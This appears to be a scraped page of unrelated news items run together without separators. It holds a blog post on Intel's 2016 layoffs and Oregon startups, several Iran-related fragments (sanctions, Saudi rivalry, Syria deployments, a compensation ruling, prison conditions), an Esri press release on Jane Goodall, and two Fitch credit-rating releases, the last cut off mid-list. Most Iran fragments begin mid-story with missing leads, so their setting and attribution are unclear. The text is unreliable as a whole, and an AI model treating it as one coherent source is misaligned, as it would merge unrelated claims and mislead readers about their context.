As Kat readers may have taken note, the chip giant Intel announced this week that it will lay off approximately 12,000 employees, which amount to approximately 11% of its world-wide total of 107,300 employees. Announcement of a lay-off is never pleasant, especially when we are talking about numbers as large as these are, and they add to the reported 12-month total of over 72,000 jobs that have been lost in the computer industry over the last 12 months (think job cuts at VMware, EMC, IBM, and Microsoft). Indeed, for Q1 2016, over 17,000 computer-related jobs have been lost, almost 150% more than for the comparable period in 2015.These announced lay-offs are part of Intels plan to move away, belatedly perhaps, from its reliance on the personal computer industry, in favor of such new growing markets as the internet of things, data centers, gaming, and programmable chips. While the jury is still out whether Intel will ultimately succeed in this pivoting of the company in the direction of these new markets, it is presumed that these centers of R&D activity will generate a lot of Intel-originating patent and related work.But this Kat wants to consider for a moment the R&D here and now of these announced cuts, and the way that an innovation ecosystem may be affected by substantial lay-offs. The focus is not on the Intel presence in Silicon Valley, with the regions huge and diverse high tech work force, but on the Intel presence in the bordering state of Oregon (so-called Silicon Forest) and, in particular, its principal city, Portland. Paul Kedrosky , a well-known figure in, and commentator of, the high tech world, including as a venture-capitalist, observed this week in an interview on the program, Bloomberg Advantage, that it is in Portland, and Oregon more generally, that Intels move will most be felt. Consider the following numbers as reported on by the Oregonian . Intel employees 19,500 employees in Oregon. That is the single largest concentration of Intel employees anywhere. Moreover, it makes Intel the states largest business employer (out of an overall state population of slightly over 4,000,000 residents).What is interesting is how Kedrosky viewed the effect of the lay-offs on the innovation ecosystem in Oregon. We typical think about innovation in terms of start-ups, rather than well-established industry giants. But in so thinking, we tend to forget that there is a relationship (dare this Kat call it quasi symbiotic), between Intel and start-up spin-offs. It turns out, as Kedrosky suggests, that at least where Portland is concerned, even when times were good, Intel employees would move out to create start-up companies. It appears that there was a multiplier effect taking place within the Intel ecosystem in Oregon; not only was Intel the states largest business employer, but it helped spawn a secondary ring of spin-offs, all to the apparent delight of venture capitalists looking for start-up investments.Kedrosky, without going into further detail, stated that venture capitalists are now fearful that this quasi-symbiotic relationship [] is being severely impaired. Just as, on the upside, Intels presence had a positive secondary effect on start-up activity, the companys pivot and concomitant downsizing may have a negative effect on future aggregate start-up activity in Oregon.On first glance, Kedroskys observation goes against the commonly-expressed mantra that tough times are often the best environment to spawn world-beating new companies. Examples from HP in the 1930s to Apple and Microsoft in the 1970s to Uber in the current decade, are often mentioned. But this may depend upon the ecosystem. After all, as challenging as lay-offs are in Silicon Valley, it seems that there is potentially a much deeper ecosystem for an ex-employee who wishes to remain. In a notbly smaller setting, such as Portland, these possibilities are much more limited and ex-employees will be more inclined to leave. If so, one can only hope that Intels plans for Portland will enable the company to continue to support the quasi-symbiotic relationship that appears to have been the case all the while that Intel basked in the glory of being the worlds PC computer chip champion.
The only clear outcome of the meeting was that the two reportedly agreed to meet again on Friday, on the sidelines of a UN ceremony celebration the signing of a climate change agreement. Kerry said that that follow-up meeting would sort of solidify what he talked about with his counterpart on Tuesday. He also vaguely indicated that the first meeting had yielded progress on a number of key things.

Iranian officials, especially Supreme Leader Ali Khamenei, have recently complained that the economic effects of the Joint Comprehensive Plan of Action have not been what they expected. Khamenei and his colleagues have also used this to fuel anti-US rhetoric, accusing the American government of violating the spirit of the nuclear deal by standing in the way of Irans reentry into the international banking system.

Many Western companies and virtually all banks have indeed continued to keep their distance from the Islamic Republic in the several weeks since the mid-January implementation of the nuclear deal. These policies have been explained in terms of the fear of snap-back of suspended sanctions, as well as the effect of sanctions that remain in place, related to Irans human rights violations and support for terrorism.

These outstanding punitive measures prevent Iran from having access to the American financial system, thereby putting international banks at risk of fines and seizure of assets if they try to do business with both countries. The JCPOA does not require the US to lift this ban, but a number of recent reports have indicated that there is considerable pressure for it to do so.

Khameneis complaints are certainly a contributing factor in this pressure, but so too are efforts by European Union officials and business leaders who are eager to gain fuller access to Iranian markets. This eagerness has been demonstrated by a number of new developments, including trade agreements and state visits, a number of which have met with protest from dissenting legislators and activists who feel that the rush to invest has come at the expense of awareness of Irans poor human rights record.

Several of these developments have been related to the Iranian commercial air travel industry, which is moving quickly to update its fleet and airports with contracts and purchases from European manufacturing and construction firms, and possibly also from the US aircraft giant Boeing. Now Irans Press TV reports that the EU may be aiming to harvest greater fruits from its investment by quickly removing the safety-related bans on flights by Iran Air.

The announcement of the possible revocation of this ban comes shortly after eight European commissioners visited Tehran over the weekend. The trip reportedly sought to boost bilateral relations and concluded with several new agreements in fields of energy development, travel, and joint research.

But this investor eagerness only adds to the pressure that the Obama White House is already putting on itself to make sure that the JCPOA remains in effect, and arguably successful. The problem is that especially in light of the Iranian regimes complaints, such success depends upon economic empowerment of Iran to a degree that the Obama administrations critics consider to be beyond the scope of the deal, and generally threatening to global security.

The whole of the Republican Party certainly has its place among these critics, but the White House must also contend with the apparently growing ire of traditional American allies including Saudi Arabia, which broke of diplomatic relations with the Islamic Republic early this year and has been spearheading efforts to counteract Irans growing regional influence, often against the advice or preferences of the Obama administration.

Reuters reported on Wednesday that President Obama had arrived in Riyadh to meet with Saudi Arabias King Salman, in large part to discuss tensions between the Gulf Arab states and Iran. The meeting was a precursor to Obamas presence at a summit of the Gulf Cooperation Council, where he can be expected to continue trying to reassure the USs traditional partners over the current American policy of rapprochement with the Islamic Republic.

Such reassurances will arguably be even more difficult in light of recent events that have highlighted the unlikelihood of reconciliation between Iran and Saudi Arabia. On Sunday, numerous oil producing countries attended a meeting in Doha to discuss a possible freeze on oil production, with an eye toward stabilizing global prices. Among the attendees were representatives of all OPEC nations except Iran, which had cancelled only the day before, following a number of statements declaring its intention to not participate in the freeze.

This led to the failure of the entire agreement, since Saudi Arabia had declared Irans participation to be a prerequisite. This likely reflects a Saudi interest in containing Irans economic growth, reentry into international markets, and by extension the expansion of its power in the broader Middle East. In this context, the Saudis prevention of the deal they had helped to spearhead is presumably one aspect of a strategic of what has been called economic warfare.

In a report on the crude oil tanker industry, Market Realism took notice of another aspect of this economic warfare, pointing out that the Saudis had barred Iranian tankers from using their territorial waterways. This tactic has the potential to be especially impactful in light of another Reuters report that finds Iran is struggling to locate and operate tankers to accommodate its rising, post-sanctions oil output. An estimated 45 to 50 million barrels of Iranian crude have turned some Iranian tankers into mere storage as a consequence of global oversupply, which is certain to remain a problem in light of the failure of the Doha meeting.

The problem is made worse for Iran by the fact that it cannot gain access to the tankers operated by most foreign carriers. This fact demonstrates the limits of European eagerness to reclaim the Iranian market. Reuters notes that the difficult logistics of reentering that market have left many such carriers with little to no sense of urgency about doing so, especially since they are not lacking for oil to carry away from other producers.

But of course, the reluctance of Western tanker companies may still evaporate if the White House goes ahead with plans to further open up the Iranian market, over the objections of Congress, the Saudis, and other critics.

Whether or not this will happen remains very much up in the air. While some parties opposition to a rapid Iranian economic recovery are sure to remain intransigent, the Obama administrations conciliatory plans can be expected to gain support from other corners, some of them arguably surprising.
The National Council of Resistance of Iran had participated in this criticism in the days leading up to the semi-formal cancellation of the Geneva agreement. The NCRI had issued multiple reports describing a buildup of Iranian Revolutionary Guard Corps forces and apparent plans for major offensives by the IRGC and the Syrian Army. The IRGC was accompanied by foreign fighters recruited by the Iranian regime, chiefly from among Afghan and Pakistani populations.

Five of these Iran-controlled fighters were reported killed in action on Monday, further contributing to the perception of a sustained or even enhanced Iranian presence in the fighting since the ostensible cessation of hostilities. An IRGC officer was also reported wounded. Although military analysts maintain that the high ratio of officers casualties suggests a predominantly advisory mission, the sheer number of those casualties undermines the regimes claim that neither the IRGC nor the regular Iranian army are directly participating in the fighting.

These denials were repeated on Wednesday, according to Reuters, but they were repeated in the context of explaining away the large-scale deployment of fighters from Brigade 65 of the Iranian military. The NCRI had previously reported upon this deployment and it was confirmed on Wednesday by Ataollah Salehi, the commander-in-chief of the Iranian army. But Salehi would only acknowledge that some commandos from Brigade 65 had gone to Syria as volunteers for the IRGC.

The army has no responsibility in the military advice given to Syria, Salehi maintained. But even while such comments retain plausible deniability for the regime, Reuters makes it clear that the latest developments strongly suggest that it is no longer just the IRGC and associated proxy forces that are actively defending the Assad government, but also some elements of the regular Iranian military.

Reuters further points out that such a deployment is unprecedented in the 37-year history of the Islamic Republic. To some staunch opponents of the Iranian and Syrian regimes, this development is also sure to justify the Syrian oppositions pullback from the ceasefire, which was intended to focus other factions attention on the Islamic State and the Al Nusra Front.

If this outcome was unfeasible in practice, is may be in large part because of what a number of analysts have concluded regarding Irans policies in Syrian: that they are focused on defending Assad, over and above any opposition to the Islamic State terrorists. This perspective on Irans motivations has been supported by its conduct in international negotiations, with Iranian delegates maintaining that the establishment of a transitional government that does not include Bashar al-Assad is a red line for Tehran.
The decision brings an end to a legal challenge that was initiated by Irans central bank, and can be expected to lead directly to legal compensation for more than 1,300 individuals, including the families of 241 US service members who were killed in Hezbollahs 1983 bombing of the US Marine barracks in Beirut.

IranWire also reported upon this story on Wednesday, providing some detail regarding the mechanisms and legal background for the US recouping funds from Iran in the wake of rulings in American courts. It noted, for instance, that the principle of sovereign immunity usually prevents such cross-border enforcement, but can be waived within the US legal system in cases of terrorism or crimes against humanity.

But the IranWire report also notes that the latest judgement and the expected seizure of assets are not without controversy. This is not to say that there is any serious doubt about the legitimacy of victims claims to compensation from Iran, which is widely regarded as the worlds leading state sponsor of terrorism. Rather, some people who could have similarly legitimate claims decline to file them in American courts.

IranWire reported that the Iranian people cannot expect to have any say over their money as long as the existing regime is in place. If you argue that you should wait until a democratic government rules over Iran, he continued, I will respond, what about the victims of the human rights violations of the Iranian government?

On the other hand, the Supreme Court ruling only impacts people who either are from the US originally or fled the Islamic Republic in time to gain access to American courts in the midst of the legal battle over compensation.

Those abuses continue to be highlighted in media reports and the communications of international activist organizations. The foremost issue in most of that reporting is the world-leading rate of executions in the Islamic Republic, which led to nearly 1,000 hangings in the year 2015 alone.

The Iran Human Rights website pointed out on Tuesday that this problem apparently remains as severe now as it was then. Specifically, the site notes that at least 30 executions recently took place during just a 10 day period. Previous reports from sources like the National Council of Resistance of Iran have highlighted instances in which several inmates were put to death at once in a single prison. Eight prisoners were hanged in Rajai Shahr prison while Italian Prime Minister Matteo Renzi was visiting Tehran, thus contributing to the perception that Europe is neglecting human rights in favor of trade agreements.

To whatever extent this perception is accurate, the neglect of human rights in the Islamic Republic involves the neglect of much more than executions. Other issues include the overall condition of Iranian prisons and the treatment of inmates in the general prison population, and especially the countrys many political prisoners.

These conditions and this treatment regularly result in Iranian prisoners engaging in long hunger strikes to call attention to their cases. The Human Rights Activists News Agency reported on Tuesday that several prisoners in Tehrans Evin Prison had surpassed 10 days on a hunger strike protesting harsh conditions in the prison.

But another HRANA report on the same day seemed to highlight the authorities likely disregard for the effects of such action. It indicated that a number of prisoners in Zahedan Prison had effectively been subjected to a forced hunger strike, as the lack of adequate quantities and quality of food has caused a number of them to suffer from acute malnutrition.

Such stories go to show that Irans prison conditions contribute to the degradation of prisoners health. And this situation is made even worse by the fact that prisoners, especially political prisoners, are routinely denied access to medical treatment. This has in turn become the subject of other hunger strikes, such as that of Hossein Ronaghi-Maleki, who was recently transferred to hospital after 19 days on a hunger strike that he started in protest against his lack of access to essential medical treatment.

In other cases, treatment has been granted only after its long-term denial resulted in the severe worsening of treatable conditions. One notable example is that of Omid Kokabee, a physics graduate student who has served more than five years in prison so far over his refusal to participate in an Iranian weapons project.

Kokabee has suffered kidney problems during much of that time but has been routinely refused access to hospitals or proper examinations. An Iranian human rights groups reports that when Kokabee was finally permitted to undergo a sonograph, it was revealed that he had a malignant tumor which could have otherwise been uncovered much sooner. It is unclear whether he will now be released to hospital to undergo a nephrectomy. His lawyer noted that any delay in such a transfer could result in irreparable harm to this young man.
[April 21, 2016] Jane Goodall Celebrates Earth Day with Esri and University of Redlands

Jane Goodall, Ph.D., DBE, founder of the Jane Goodall Institute (JGI) and United Nations Messenger of Peace, will be celebrating Earth Day with Esri and the University of Redlands on Friday, April 22. Goodall will discuss the Jane Goodall Institute, which has broadly applied Esri technology to support conservation and animal welfare issues globally through its Roots & Shoots program and its community-centered conservation work in Africa. Friday evening, Goodall will join students from local Roots & Shoots chapters to plant a tree in the Sustainable University of Redlands Farm (SURF). On Saturday, Goodall will receive an honorary degree and deliver the keynote address at the University of Redlands. The Roots & Shoots program has inspired hundreds of thousands of people around the globe to make the world a better place for people, animals and the environment. Students who are passionate about protecting the environment are the heartbeat of the program. An interactive Esri Story Map app, Tapestry of Hope, was launched last year to provide a snapshot into these future conservation leaders' projects and to help connect their work with others. "The map is a critical tool to document, manage, visualize and share the actions and impacts of Roots & Shoots projects," said Anna Gibson, Jane Goodall Institute, vice president. "Our community grows with each new Roots & Shoots project that is created by the young people who are pioneering this effort around the world." This visit will be a welcome return for Dr. Goodall, who joined in the university's Roots & Shoots program, and received Esri's Global Leadership Award in 2011.



"The university is honored to work with Esri and bring such an honored guest to our community," said Shelli Stockton, University of Redlands director for alumni and community relations. "We are excited to continue our work together and celebrate Earth Day in such a significant manner." As one of the most inspirational and influential conservation scientists in the world, Goodall performed groundbreaking work as a primatologist, ethologist, and anthropologist that has changed the course of people's understanding of our place in the world. Founded in 1977, JGI continues Goodall's pioneering research on chimpanzee behavior, is a global leader in establishing innovative community-centered conservation and development programs in Africa, and is the originator of the Roots & Shoots program, which has groups in more than 120 countries.

"The Jane Goodall Institute and University of Redlands organizations are important to Esri," said Jack Dangermond, president and founder of Esri. "It is heartwarming to celebrate this day together and see conservationism in action through tomorrow's leaders using geodesign and community mapping." Learn more about how Esri helps create a sustainable world. About Esri Since 1969, Esri has been giving customers around the world the power to think and plan geographically. The market leader in GIS technology, Esri software is used in more than 350,000 organizations worldwide including each of the 200 largest cities in the United States, most national governments, more than two-thirds of Fortune 500 companies, and more than 7,000 colleges and universities. Esri applications, running on more than one million desktops and thousands of web and enterprise servers, provide the backbone for the world's mapping and spatial analysis. Esri is the only vendor that provides complete technical solutions for desktop, mobile, server, and Internet platforms. Visit us at esri.com/news. Copyright  2016 Esri. All rights reserved. Esri, the Esri globe logo, GIS by Esri, ArcGIS, esri.com, and @esri.com are trademarks, service marks, or registered marks of Esri in the United States, the European Community, or certain other jurisdictions. Other companies and products or services mentioned herein may be trademarks, service marks, or registered marks of their respective mark owners. View source version on businesswire.com: http://www.businesswire.com/news/home/20160421006719/en/

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[April 21, 2016] Fitch Rates $300MM VA Commonwealth Transportation Board Revs 'AA+'; Affirms 'AAA' Commonwealth GOs

Fitch Ratings has assigned a 'AA+' rating to $300 million in Commonwealth Transportation Board (CTB), Commonwealth of Virginia, Transportation Capital Projects Revenue Bonds, Series 2016. The bonds are expected to price through competitive bid on May 4, 2016. In addition, Fitch has affirmed the 'AAA' ratings on the Commonwealth of Virginia's outstanding general obligation (GO) bonds and the 'AA+' ratings on the Commonwealth's appropriation-backed debt as detailed at the end of this release. Fitch has also assigned an Issuer Default Rating (IDR) of 'AAA' to the state. The IDR reflects application of Fitch's revised criteria for U.S. state and local government credits, which was released on April 18, 2016. The IDR equals the GO debt rating, as GO pledges reflect the unsecured general credit quality of the issuer. The Rating Outlook is Stable. SECURITY The bonds are limited obligations of the CTB, secured by and payable from general assembly appropriations or CTB allocations from general assembly appropriations. The rating is based on ultimate access to general assembly appropriations, not limited to transportation revenues; as such, the bonds are rated one notch below the state's IDR. Despite the access to Commonwealth appropriations at large, the bonds are expected to be paid from the Priority Transportation Fund (within the broad Transportation Trust Fund [TTF]), backstopped by access to the TTF. The TTF's revenue composition can be altered by the legislature. KEY RATING DRIVERS Analytical Conclusion: Virginia's 'AAA' IDR rating reflects its solid fiscal resources, conservative approach to financial operations, and exceptional financial flexibility. The state's strong fundamental economic profile provides a stable revenue base and indicates solid growth prospects. Low long-term liability levels indicate the Commonwealth retains ample capacity. Economic Resource Base: Virginia's economic profile remains strong with a diverse mix of industries and high wealth levels, and Fitch expects the commonwealth to absorb the negative effects of federal contraction and maintain economic growth. Government and professional and business services are the leading sectors. Government employment has been flat to declining for the past several years, but professional and business services employment has grown rapidly since mid-2014 declines, driving overall gains in the Commonwealth's employment levels. Growth prospects are solid with above-average population growth and high education levels signaling a well-positioned workforce. Revenue Framework: 'aa' factor assessment Fitch expects that Virginia's revenues, primarily income and sales taxes, will continue to reflect the depth and breadth of the economy, but also its volatility. The Commonwealth has complete control over its revenues, with an unlimited legal ability to raise operating revenues as needed. Expenditure Framework: 'aaa' factor assessment The Commonwealth maintains ample expenditure flexibility with a low burden of carrying costs for liabilities and the broad expense-cutting ability common to most U.S. states. Also as with most states, Medicaid remains a key expense driver, but one that Fitch expects to remain manageable. Long-Term Liability Burden: 'aaa' factor assessment Virginia's long-term liability burden is low and well-managed. Debt issuance is carefully monitored through both constitutional limitations and more stringent policy and institutional practices. Despite a budget-driven deferral of pension contributions that weakened the funded position, the Commonwealth's unfunded obligations remain below those of most states. Operating Performance: 'aaa' factor assessment The Commonwealth remains extremely well-positioned to deal with economic downturns, with exceptionally strong gap-closing capacity in the form of its control over revenues and spending and a demonstrated willingness to restore financial flexibility at times of recovery. RATING SENSITIVITIES SOLID FINANCIAL MANAGEMENT: The rating is sensitive to shifts in Virginia's fundamental credit characteristics including its history of timely action to address budgetary challenges, as demonstrated most recently in the response to the 2014 revenue shortfall. CTB BONDS: The rating for the CTB bonds is sensitive to changes in the Commonwealth's 'AAA' IDR, to which it is linked. CREDIT PROFILE Revenue Framework Virginia's income tax serves as the primary revenue source, accounting for nearly two-thirds of general fund revenues. The sales tax is the next largest component and together these economically sensitive taxes provide essentially the basis for the Commonwealth's revenue framework. Historical revenue growth, adjusted for the estimated impact of policy changes, has been essentially flat on a real basis over the last ten years. Robust growth in years of economic gains is offset by sometimes sharp declines when the economy contracts. The Commonwealth now caps estimated growth in the most volatile portion of its key tax revenues (non-withholding personal income taxes) to support budget stability, but Fitch anticipates the long-term trend for revenue growth will be in line with historical performance. Virginia has no legal limitations on its ability to raise revenues through base broadenings, rate increases, or the assessment of new taxes or fees. As recently as 2013 the legislature and governor exercised this ability and made changes to the tax and fee structure supporting transportation to generate substantial new recurring revenues. Expenditure Framework As in most states, education and health and human services spending are Virginia's largest operating expenses. Education is the larger line item, as the state provides significant funding for local school districts and an extensive public university and college system. Health and human services spending is the second largest area of spending, with Medicaid being the primary drive.



Spending growth, absent policy actions, will likely be slightly ahead of revenue growth driven primarily by Medicaid, requiring regular budget measures to ensure ongoing balance. The fiscal challenge of Medicaid is common to all U.S. states and the nature of the program as well as federal government rules limit the states' options in managing the pace of spending growth. In other major areas of spending such as education, Virginia is able to more easily adjust the trajectory of growth since it does not retain responsibility for direct service delivery and there is no notable pressure for significant increases in state support. Overall, Virginia retains ample ability to adjust expenditures to meet changing fiscal circumstances. Long-Term Liability Burden

Virginia maintains a modest long-term liability burden that should remain very manageable. Per Fitch's October 2015 State Pension Update report, the Commonwealth's total net tax-supported debt and unfunded pension liabilities of $20 billion made up just 4.8% of 2014 personal income compared to the 50-state median of 5.8%. GO debt constitutes only approximately 15% of the Commonwealth's net tax-supported debt, with the remainder principally represented by various appropriation credits. Capital needs for higher education and transportation improvements remain large, with substantial authorized but unissued bonds. Virginia uses a statutorily-established joint executive-legislative committee to annually assess the Commonwealth's debt capacity. The committee's findings are recommendations but the governor and legislature typically abide by them. In recent years, the Commonwealth enacted pension reforms affecting required contributions and plan design, all expected to limit further growth in the Commonwealth's pension liabilities in the coming years. Systemwide funding of the primary state retirement system (Virginia Retirement Systems, or VRS) declined in recent years in part due to underfunding of actuarial contributions (partially used as a budget balancing measure). Positively, the biennial budget plan for fiscal 2017 - 2018 accelerates the phase-in for full ADEC payments by one year to fiscal 2018. The use of a 7% investment return assumption is notably conservative relative to other major state systems. Operating Performance Virginia's ability to respond to cyclical downturns rests with its superior budget flexibility, and the underlying strength of its broad economic profile allows it to restore that flexibility quickly once utilized. The general strength of Virginia's economy means these revenue sources will generally grow solidly during economic recoveries. However, during even modest downturns, declines can be abrupt and material. The Commonwealth has implemented some policy measures in its revenue forecasting process to mitigate fluctuations, but Fitch expects volatility to remain a feature of Virginia's revenue profile. Virginia is generally able to reduce direct spending by shifting responsibilities down to lower levels of government or deferring expenditures. Such measures are generally temporary ensuring flexibility in future downturns. Similarly, Virginia has been able to take short-term revenue measures to address short-term fiscal distress, such as accelerating sales tax collections - while not sustainable, Fitch views these as reasonable one-time measures at times of revenue decline. The Commonwealth also maintains a constitutionally-supported revenue stabilization fund (RSF) that provides another often utilized source of material, short-term budget relief. While downturns can hit Virginia hard because of its revenue volatility, sometimes triggering short-term and unsustainable measures, recoveries generally are quickly reflected in tax revenues and allow the Commonwealth to resume its more typical practice of structurally sound budget management. Virginia's typically conservative and prudent financial management leads it to restore budgetary flexibility in times of economic recovery. The RSF has strict constitutional limitations on its usage and requirements for timely repayment of withdrawals. Just as important, the approach is institutionalized as reflected most recently in the governor and legislature's joint commitment to accelerating the phase-in to full actuarial pension contributions when the state deferred funding during the Great Recession. Current Developments Virginia's recent financial performance has been solid. Fiscal 2015 revenue collections outperformed notably compared to earlier forecast expectations, as the Commonwealth rebounded from a significant shortfall in fiscal 2014. Fiscal 2015 ended with a $538 million surplus, compared to a $438 million fiscal 2014 revenue gap that was addressed largely with its ending general fund balance. In the current year, general fund revenues are tracking slightly below the forecast through March but Fitch notes that April and May are Virginia's most important revenue collection months. Recent economic indicators have been strong with both jobs growth and personal income growing ahead of the national pace, implying a positive trajectory for state revenues. Regardless, the Commonwealth retains ample flexibility to deal with any revenue shortfalls, including through its RSF. The robust surplus in fiscal 2015 triggered a constitutionally-mandated contribution to the RSF of $606 million in fiscal 2017. At the end of that year, Virginia projects the RSF will reach its highest level since before the Great Recession ($845 million, or 4.5% of projected general fund revenues). The budget for the next biennium (fiscal 2017 - 2018), which begins on July 1, funds substantial growth in operations over the current biennium. General fund spending is up approximately 10% for the biennium in the budget enacted by the legislature to which the governor has proposed modest amendments. General fund revenues, including transfers, are projected to grow 6.2% over the biennium. The spending number includes required RSF restorations and Fitch views the budget as structurally balanced. The legislature will reconvene this week to consider the governor's proposed amendments. K-12 aid for school districts and Medicaid are two other key drivers of the increase, with both seeing substantial increases in the budget plan. The budget plan's significant increases in K-12 funding largely reflect the governor's proposals and include additional direct aid for school districts and funding for modest teacher pay and staffing increases. Most additional funding requires school districts to match Commonwealth appropriations. The official economic forecast continues to assume Virginia's economic performance will trail national trends, leaving some flexibility in revenue estimates that rely on the economic forecast. RELATED CREDITS As noted earlier in this release, Fitch has affirmed the 'AA+' rating and Stable Outlook on the following Commonwealth appropriation-backed credits, which are all rated one notch below the IDR: --VA Public Building Authority - Public Facilities Revenue Bonds; --VA Public School Authority - School Financing Bonds and School Educational Technology Notes; --VA College Building Authority - Public Higher Education Financing Program Bonds; --VA College Building Authority - 21st Century College & Equipment Program Bonds; --VA Port Authority - Commonwealth Port Fund Revenue Bonds; --Virginia Biotechnology Research Partnership Authority - Commonwealth of VA Lease Revenue Bonds; --Fairfax County Economic Development Authority - Commonwealth of VA Lease Revenue Bonds. Additional information is available at 'www.fitchratings.com'. In addition to the sources of information identified in the applicable criteria specified below, this action was informed by information from CreditScope. Applicable Criteria U.S. Tax-Supported Rating Criteria (pub. 18 Apr 2016) https://www.fitchratings.com/creditdesk/reports/report_frame.cfm?rpt_id=879478 Additional Disclosures Dodd-Frank Rating Information Disclosure Form https://www.fitchratings.com/creditdesk/press_releases/content/ridf_frame.cfm?pr_id=1003008 Solicitation Status https://www.fitchratings.com/gws/en/disclosure/solicitation?pr_id=1003008 Endorsement Policy https://www.fitchratings.com/jsp/creditdesk/PolicyRegulation.faces?context=2&detail=31 ALL FITCH CREDIT RATINGS ARE SUBJECT TO CERTAIN LIMITATIONS AND DISCLAIMERS. PLEASE READ THESE LIMITATIONS AND DISCLAIMERS BY FOLLOWING THIS LINK: HTTP://FITCHRATINGS.COM/UNDERSTANDINGCREDITRATINGS. IN ADDITION, RATING DEFINITIONS AND THE TERMS OF USE OF SUCH RATINGS ARE AVAILABLE ON (News - Alert) THE AGENCY'S PUBLIC WEBSITE 'WWW.FITCHRATINGS.COM'. PUBLISHED RATINGS, CRITERIA AND METHODOLOGIES ARE AVAILABLE FROM THIS SITE AT ALL TIMES. FITCH'S CODE OF CONDUCT, CONFIDENTIALITY, CONFLICTS OF INTEREST, AFFILIATE FIREWALL, COMPLIANCE AND OTHER RELEVANT POLICIES AND PROCEDURES ARE ALSO AVAILABLE FROM THE 'CODE OF CONDUCT' SECTION OF THIS SITE. FITCH MAY HAVE PROVIDED ANOTHER PERMISSIBLE SERVICE TO THE RATED ENTITY OR ITS RELATED THIRD PARTIES. DETAILS OF THIS SERVICE FOR RATINGS FOR WHICH THE LEAD ANALYST IS BASED IN AN EU-REGISTERED ENTITY CAN BE FOUND ON THE ENTITY SUMMARY PAGE FOR THIS ISSUER ON THE FITCH WEBSITE. View source version on businesswire.com: http://www.businesswire.com/news/home/20160421006745/en/

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[April 21, 2016] Fitch Affirms Microsoft Corporation at 'AA+/F1+'; Outlook Stable

Fitch Ratings has affirmed the ratings for Microsoft (News - Alert) Corporation (Microsoft), including the 'AA+/F1+' long- and short-term Issuer Default Ratings (IDRs). The Rating Outlook is Stable. Fitch's actions affect $60.5 billion of total debt, including the indrawn $10 billion revolving credit facility (RCF). A full list of ratings follows at the end of this release. KEY RATING DRIVERS The ratings and Outlook reflect: Fitch's expectation operating performance will remain strong, driven by robust cloud services growth. Fitch expects Microsoft to remain a leading cloud services provider over the intermediate term, driven by a significant Windows operating system (OS) footprint and competitive advantage in the hybrid cloud. Overall, Fitch projects flat top line growth in fiscal 2016 and low single digit positive revenue growth over the intermediate term, despite continued revenue declines in the 'More Personal Computing' segment. Fitch also expects cloud services growth to diversify Microsoft's significant revenue base and increases profitability while reducing the company's dependence on personal computers (PCs). While Microsoft's 'More Personal Computing' segment still represents more than 40% of revenues, it constitutes roughly a third of operating profit. Fitch expects significant incremental gross profit drop through will stem profit margin compression in 2016 and return operating EBITDA margin to above 40% over the intermediate term. Fitch expects positive growth and strong profitability will result in more than $10 billion of annual free cash flow (FCF, calculated by Fitch after payment of dividends), which should continue through the intermediate term. Fitch expects Microsoft will use a substantial amount of FCF for share repurchases, including completing the current share repurchase program, under which $14 billion was available as of Dec. 31, 2015, by the end of calendar year 2016. Beyond the completion of the current authorization, Fitch projects shareholder returns roughly equal to annual FCF. As a consequence, Fitch expects total leverage (total debt to operating EBITDA) to step up over the intermediate term from significant incremental debt issuance to support shareholder returns, given the vast majority of Microsoft's cash and more than half of FCF is outside the U.S. Fitch estimates total leverage for the latest 12 months (LTM) ended Dec. 31, 2015 was 1.3x and could approach 2x over the intermediate term. Fitch estimates supplemental net adjusted leverage, which nets debt against cash adjusted for valuation, tax liabilities upon repatriation and probably use for stock buybacks, will remain below 1x. Fitch believes Microsoft's nearly ubiquitous OS provides substantial recurring revenues and cash flow, despite ongoing declines in PC shipments, which Fitch expects could decline in the high single digits in 2016. Nonetheless, Fitch believes Microsoft's scale and visibility of profitability are enabling investments in growing cloud services and connected devices, diversifying the company's operating profile KEY ASSUMPTIONS --Fitch expects Microsoft will experience flat organic top line growth in fiscal 2016 with strong Intelligent Cloud penetration offsetting continued negative PC growth. Phones will remain challenged but potentially offset by solid detachable (Surface Pro) adoption. Fitch believes currency will reduce the top line by 2%, resulting in -2% revenue growth for the year. --Beyond fiscal 2016, Fitch believes the increasing Intelligent Cloud growth will shift mix and drive positive low single digit growth through the forecast period. --Gross profit margins will be stable from shifting the mix away from PCs, espite modest competition-driven pressure on cloud businesses.



--Fitch believes operating margins will strengthen from R&D leverage in the business. --Capital spending will remain elevated to support investments in Intelligent Cloud.

--Cash tax rate will be 25%. --Annual dividend growth will be 10% and $14 billion of share repurchases in calendar 2016 (50% in fiscal 2016 and 50% in fiscal 2017), after which Microsoft uses 100% of FCF for stock buybacks. --Microsoft will refinance maturing debt and likely issue incremental debt to fund shortfalls in domestic cash. RATING SENSITIVITIES Negative: Future developments that may, individually or collectively, lead to negative rating action include: --The expectation for supplemental adjusted net leverage (total debt netted against adjusted cash and investments held outside the U.S.) above 1.5x from significant debt issuance to support shareholder returns. --Material profit margin erosion related competitive pressures, including strong commercial adoption of the public cloud and/or open-sourced software materially reduces demand for key Microsoft products; penetration of alternative operating systems in the PC market or market share gains by Apple (News - Alert); or greater acceptance of cheaper software applications that compete with Microsoft Office. Positive rating actions are unlikely in the absence of material diversification, driven by solid organic growth in non-PC businesses. LIQUIDITY As of Dec. 31, 2015, Fitch believes liquidity was robust and supported by: --$102.3 billion of cash and short-term investments, of which $6 billion was located in the U.S.; --Two undrawn $5 billion revolving credit facilities (RCF), one expiring Nov. 1, 2016 and the other expiring Nov. 14, 2018, both of which backstop the company's commercial paper (CP) program. Fitch's expectation of more than $10 billion of annual FCF also supports liquidity. Total debt as of Dec. 31, 2015 was $50.6 billion, consisting of staggered debt maturities. Fitch believes debt maturities are manageable, given the company's strong liquidity and consistent free cash flow. However, Fitch expects Microsoft will refinance all debt maturities, given the company's bias toward using domestic cash for shareholder returns. FULL LIST OF RATING ACTIONS Fitch has affirmed the following ratings: Microsoft --Long-term IDR at 'AA+'; --Senior unsecured debt at 'AA+'; --Senior unsecured revolving credit facility at 'AA+'; --Short-term IDR at 'F1+'; --Commercial paper at 'F1+'. The Rating Outlook is Stable. Summary of Financial Statement Adjustments Fitch has made no material adjustments that are not disclosed within the company's public filings. Additional information is available on www.fitchratings.com Applicable Criteria Corporate Rating Methodology - Including Short-Term Ratings and Parent and Subsidiary Linkage (pub. 17 Aug 2015) https://www.fitchratings.com/creditdesk/reports/report_frame.cfm?rpt_id=869362 Additional Disclosures Dodd-Frank Rating Information Disclosure Form https://www.fitchratings.com/creditdesk/press_releases/content/ridf_frame.cfm?pr_id=1003012 Solicitation Status https://www.fitchratings.com/gws/en/disclosure/solicitation?pr_id=1003012 Endorsement Policy 